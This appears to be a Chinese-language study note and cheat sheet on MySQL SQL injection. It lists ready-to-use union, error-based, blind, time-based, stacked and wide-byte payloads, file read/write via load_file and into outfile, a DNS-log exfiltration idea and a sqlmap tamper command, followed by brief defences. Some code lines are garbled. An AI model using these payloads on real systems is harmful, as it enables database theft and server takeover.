> 文档中心 > SQL注入学习笔记

SQL注入学习笔记


SQL注入

原理

注入前提:可控变量、代入数据库查询、变量未存在过滤或者过滤不严谨用户提交的数据和后端代码没有做严格的分离,攻击者在提交的参数数据中注入了自己的语句,后端没有进行充分的检查过滤或者预编译等就将提交的数据代入到SQL命令中,改变了原有SQL命令的语义,最终被数据库成功执行。 通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

危害

会造成数据库信息泄露网站权限服务端被远程控制,被安装后门操作文件系统

利用

利用方式

绕过登录验证获取用户信息或者后台管理员等敏感信息执行系统命令利用注入进行写文件和读文件

⭐读写操作路径获取常见方法:

报错显示(乱写报错)遗留文件(站长搭建调试文件)漏洞报错(爆路径)平台配置文件(读取文件去读取配置文件)爆破(常见路径)等

利用SQL注入写文件

union select null,"hacker",null into outfile "D:/www/1.txt" -- - 

⭐常见的写入文件问题:

--+//注释掉绝对路径有两种 :    1.D:/www/1.txt    2.D:\\www\1.txt 因为\带有转义的作用MySQL文件写入的条件:    1.绝对路径    2.必须为最高权限 root不一定为最高权限,可能会被降权相关防注入1.存在魔术引号(php安全机制)magic_quote_gpc (开关在PHP.ini中)magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误addslashes()同样作用如何解决?进行路径编码(hex)单引号 编码之后可以正常解析2.内置函数is_int等 (情况不多)判断参数类型是否为整数 常用在运用点对点(HVV)3.自定义关键字(如select)$id=str_replace('select','过滤成的关键字',$id)//大小写可绕过 4.WAF防护软件(大部分机制就是过滤关键字):安全狗,宝塔等

利用SQL注入读文件

mysql内置的函数

load_file()//读取函数 into outfile或into dumpfile//导出函数
load_file("D:/www.txt") 值为十六进制的形式replace()hex() 将数据转换为十六进制,读的文件内容(保存编码为UTF-8)为中文时转为十六进制,然后再进行解码union select null,hex(load_file(0x23ac)),null -- -

注入的存在点

页面中的输入框HTTP头部注入(XFF(原始IP)头部注入)COOKIE的key value处注入二次编码注入

测试是否存在注入点

输入'判断是否显示报错信息如果为数字型则可以通过 3-2或者3+1等方式判断如果不显示报错信息的,可以测试bool盲注测试,通过?id = 1 and 1=1和id = 1 and 1=2判断页面以及数据包和返回码是否不同,或者延时注入测试and sleep(5),判断是否延时

注入分类

注入类型

报错、盲注、联合、时间、内联、堆叠

联合注入(Mysql版本大于5.0)

union结合database ()和information_schema来实现查询

判断是否存在注入,判断注入点类型:

1 and 1=1#(整型)

1 and 1=2#(整型)

1’ or ‘1’='1(字符型)

1’ or ‘1’='2(字符型)

判断当前数据表中有几列

order by

查询显示位在第几列(假设一共3列):

-1’ union select 1,2,3

显示当前数据库(假设显示位包含第三位)

-1’ union select 1,2,database()

查询所有数据库:

select group_concat(schema_name) from information_schema.schemata

查询某个数据库中的表

select group_concat(table_name) from information_schema.tables where table_schema=‘security’

查询某个表中的所有字段:

select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’

查询某个表中的字段内容

select group_concat(username,0x3a,password) from security.users

整形注入

通过二分法判断查询的列数:payload = 1 order by 数字通过union联合查询寻找回显点:union select 1,2,3,4发现在某一个点进行回显,然后在该点进行查询 union select 1,2,3,database()结合information_schema查询具体信息,注意字符型要加''例如:table_schema = 'hh'常用的函数:gourp_concat(column1,column2)concat()limit 0,1

报错注入

在程序不输出查询结果,但会输出mysql错误信息时则可通过报错注入来获取信息.报错注入不需要像联合注入一样获取显示位,因为错误信息所在即是显示位。

1.updatexml报错

语法

updatexml(1,concat(0x7e,sql语句,0x7e),1)

0x7e表示,结果在中显示

payload

admin' and updatexml(1,concat(0x7e,database(),0x7e),1)-- -

测试实例:

select * from news where id = 1 and updatexml(1,concat(0x7e,(select group_concat(id,title) from news),0x7e),1);//查询news表中id和title的值

2.extractvalue报错

报错语法

extractvalue(1,concat(0x7e,sql语句,0x7e),1)

payload

payload = admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

测试实例

select * from news where id = 1 and extractvalue(1,concat(0x7e,(select group_concat(id,title) from news),0x7e));

3.exp报错

报错语句

exp(~(select * from (SQL语句)a))  数据溢出报错

payload

exp(~(select * from (select user())a))  

4.floor()

报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

⭐盲注

盲注常用的函数

length():返回字符串的长度select length(databse())--:返回数据库名的长度substring(a,b,c)函数可以截取字符串,可指定开始b的位置和截取a的c长度select substring(database(),1,1)substr():截取字符串mid():截取字符串ord():返单个字符的Ascii码select ord(substring(database(),1,1))ascii():返回字符的ascii码char():函数可以将Ascii码转换成对应的字符select char(116);sleep(n):将程序挂起一段时间n为n秒if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句
bool布尔盲注

注入原理

页面没有显示位,也没有SQL语句执行错误信息,只能通过页面返回是否正常来判断注入点

使用count()查询记录的个数,使用length()和limit x,1查询某条记录的长度。使用limit x,1, substr(), ascii()来查询某条记录的内容。limit x,1的作用是指定一条记录,substr()的作用是截取指定记录的一个字符,ascii()的作用是将截取的字符转换为ascii码,

根据注入执行结果的布尔值(true或者false)显示的页面不同,数据包长度,返回码等来判断测试的值是否正确

payload

and (select ord(substr(database(),1,1))) > 120

⭐通常盲注需要与脚本结合进行

延时盲注

注入原理

sleep函数是存在一个满足条件的行就会延迟指定的时间,只要查询满足条件就会执行延时。

payload

#获取数据库长度and if(length(database()) > 5,sleep(5),1)#获取数据库信息and if(ascii(substr(database(),1,1))=114,sleep(5),1)#获取数据表信息and if(ord(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>110,sleep(5),1)#获取表对应的列信息and if(ord(substr((select column_name from information_schema.columns where table_name='users'),1,1)),sleep(5),1)
除sleep外其他的时间盲注

除了sleep之外的时间延时注入,还有:GET_LOCK(str,timeout)

函数使用说明:设法使用字符串str给定的名字得到一个锁,超时为timeout秒。

Select GET_LOCK('a',10)
⭐时间盲注进阶版dns注入

我们都知道延时盲注如果使用手工的方式,又费事又费力,即使使用工具同样很慢,所以出现了一种比较快速的注入方式,就是dns_log注入
使用dns_log注入需要满足两个条件
1.需要一个自己的dns域名服务器
2.需要在my.conf中加入secure_file_priv= (空)
ps:
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制

因为这种注入方式的原理是通过数据库函数load_file(),通过函数发送请求,将sql语句查询的结果带出来给我们自己设置的DNS服务器解析,通过日志记录可以看到sql语句查询信息

堆叠注入

注入原理

在SQL语句中,语句的结束都是以结尾,但是如果我们在后面再加上一条SQL语句,两条语句会一起执行。(只有某些特定的版本才能执行

payload

?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23

宽字节注入(MYSQL)

注入原理

由于输入的’会被转义,也就是自动在’前面增加\,宽字节注入时利用mysql的一个特性,当使用GBK编码的时候(set names ‘GBK’),会认为两个字符是一个汉字,所以在URL中输入%df’经过转移后变为了**%df%5c%27**,MySQL用GBK的编码时会将%df%2f翻译成一个繁体字,最后留下了’

常见的宽字节

GB2312、GBK、GB18030

sqlmap-宽字节注入

sqlmap.py -u “xxx?id=xx” --tamper unmagicquotes.py --dbs

使用脚本:unmagicquotes.py

paylaod

http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema=0x74657374 -- //存在宽字节注入并且需要table_schema='123'时,可以将其进行十六进制编码
宽字节防御原理

将’转换为 ’ (当我们输入 ’ 时,会对其进行转义位 ’ 导致注入失败)

防御代码原理:

1.(包含在函数内)使用 s t r i n g = p r e g r e p l a c e ( ′ / ′ . p r e g q u o t e ( ′ ′ ) . ′ / ′ , " " , string = preg_replace('/'.preg_quote('\\').'/',"\\\\\\", string=pregreplace(/.pregquote()./,"",string); 等输入特殊字符进行转移注释,从而阻止sql注入
2.使用addslashes进行转义
3.使用mysql_real_escape_string()进行转义

绕过

将 \ 消灭(当mysql使用GBK编码时,会认为两个字符为一个汉字 eg:%df’ 回被翻译为 運’ 可以注入)

使用

输入 %df’ 查看是否有宽字节注入点

如何防止宽字节注入

1.使用utf-8避免宽字节注入
ps:不仅在gbk中,韩文,日文等都是宽字节,都有可能存在宽字节注入点
2.mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);防御宽字节注入
3.可以设置参数,character_set_client=binary(使用二进制模式进行数据库连接)

产生宽字节注入函数

1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一

2.addslaches():返回在预定义字符之前添加反斜杠()的字符串。

预定义字符:( ’ , " , \ )用思路一(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string()

修复

过滤一些关键字词例如’、union、select等

不使用管理员的最高权限进行连接,给每一个用户一个独立的权限(防止直接拿到管理员权限)

将存储的数据进行加密存储,增大解密的难度

不要将SQL语句执行的错误信息显示出来

进行预编译,不适用动态的SQL,使用参数化的SQL

二次注入

靠扫描工具盒黑盒测试是得不到的

SQL注入学习笔记